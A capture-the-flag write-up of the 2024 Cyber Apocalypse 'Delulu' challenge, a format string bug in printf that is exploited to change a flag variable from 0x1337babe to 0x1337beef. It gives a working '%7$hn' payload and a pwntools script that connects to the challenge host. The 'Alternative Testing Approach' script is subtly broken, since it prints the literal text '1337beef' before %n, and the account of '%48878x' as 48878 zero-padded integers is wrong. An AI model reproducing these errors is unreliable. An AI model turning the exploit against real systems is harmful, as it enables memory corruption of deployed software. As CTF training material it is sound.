2024 Cyber Apocalypse: Delulu
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Cyber Apocalypse |
| Category | Binary Exploitation |
| Challenge | Delulu |
| Difficulty | Very Easy |
Summary
Delulu is a format string vulnerability challenge where participants must exploit printf() to overwrite a flag variable. The program reads user input into a buffer and passes it directly to printf(), creating a classic format string vulnerability. By crafting a precise payload using format string specifiers, the flag value can be changed from 0x1337babe to 0x1337beef.
Analysis
Binary Security Properties
Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledStack Layout
The vulnerability exists in the stack layout:
flagvariable: located atRBP - 0x48user_inputbuffer: located atRBP - 0x38- Difference:
0x10(16 bytes)
The Vulnerability
The program uses printf() with user input:
char user_input[8];int flag = 0x1337babe;
fgets(user_input, 256, stdin); // Buffer overflowprintf(user_input); // Format string vulnerabilityThe printf() function interprets format specifiers in the input, allowing us to:
- Read from arbitrary stack locations (
%x,%p) - Write to arbitrary stack locations (
%n,%hn)
Solution
Step 1: Identify Target Location
Through testing, the flag variable 0x1337babe is located at the 7th offset on the stack when viewing format string outputs.
Step 2: Craft the Exploit Payload
To change 0x1337babe to 0x1337beef, we need to overwrite just the lower 2 bytes from 0xbabe to 0xbeef.
The payload structure:
A%48878x%7$hnComponents:
A- Single character (1 byte printed)%48878x- Print 48878 integers with 0-padding, bringing total output to 48879 bytes (0xbeef)%7$hn- Write the lower 2 bytes of output count (0xbeef) to the pointer at offset 7
Step 3: Understanding the Write
The %7$hn format specifier:
- Accesses the 7th argument on the stack (which is a pointer to our flag variable)
- Writes a 2-byte (half-word) value containing the count of characters printed so far
Complete Exploit
from pwn import *
# Connect to the challengep = remote('94.237.51.203', 55418)
# Receive the initial promptprint(p.recvuntil(b'your ID.\n').decode())
# Craft the payloadpayload = b"A" + b"%48878x" + b"%7$hn"
# Send payloadp.sendline(payload)
# Receive and display responseresponse = p.recvall()print(response.decode())Alternative Testing Approach
from pwn import *
def main(): binary_path = './delulu'
# Connect to process p = process(binary_path)
# Receive initial output print(p.recvuntil(b'your ID.\n').decode())
# Build payload padding = b"A" * 8 payload = padding payload += b"%x" * 6 # Adjust to position payload += b"1337beef" payload += b"%n"
# Send p.sendline(payload)
# Receive response response = p.recvall() print(response.decode())
if __name__ == '__main__': main()Key Takeaways
- Format string vulnerabilities arise from using unsanitized user input in printf-family functions
- The
%xspecifier reads from the stack, useful for information disclosure - The
%nand%hnspecifiers write to memory, enabling arbitrary write primitives - Stack layout knowledge is crucial for exploitation
- Padding characters can control the count used by
%nfor precise value writing - Full RELRO, NX, and PIE protections don’t prevent this vulnerability type
Flag: HTB{f0rm4t_5tr1ng_1s_d3lulu}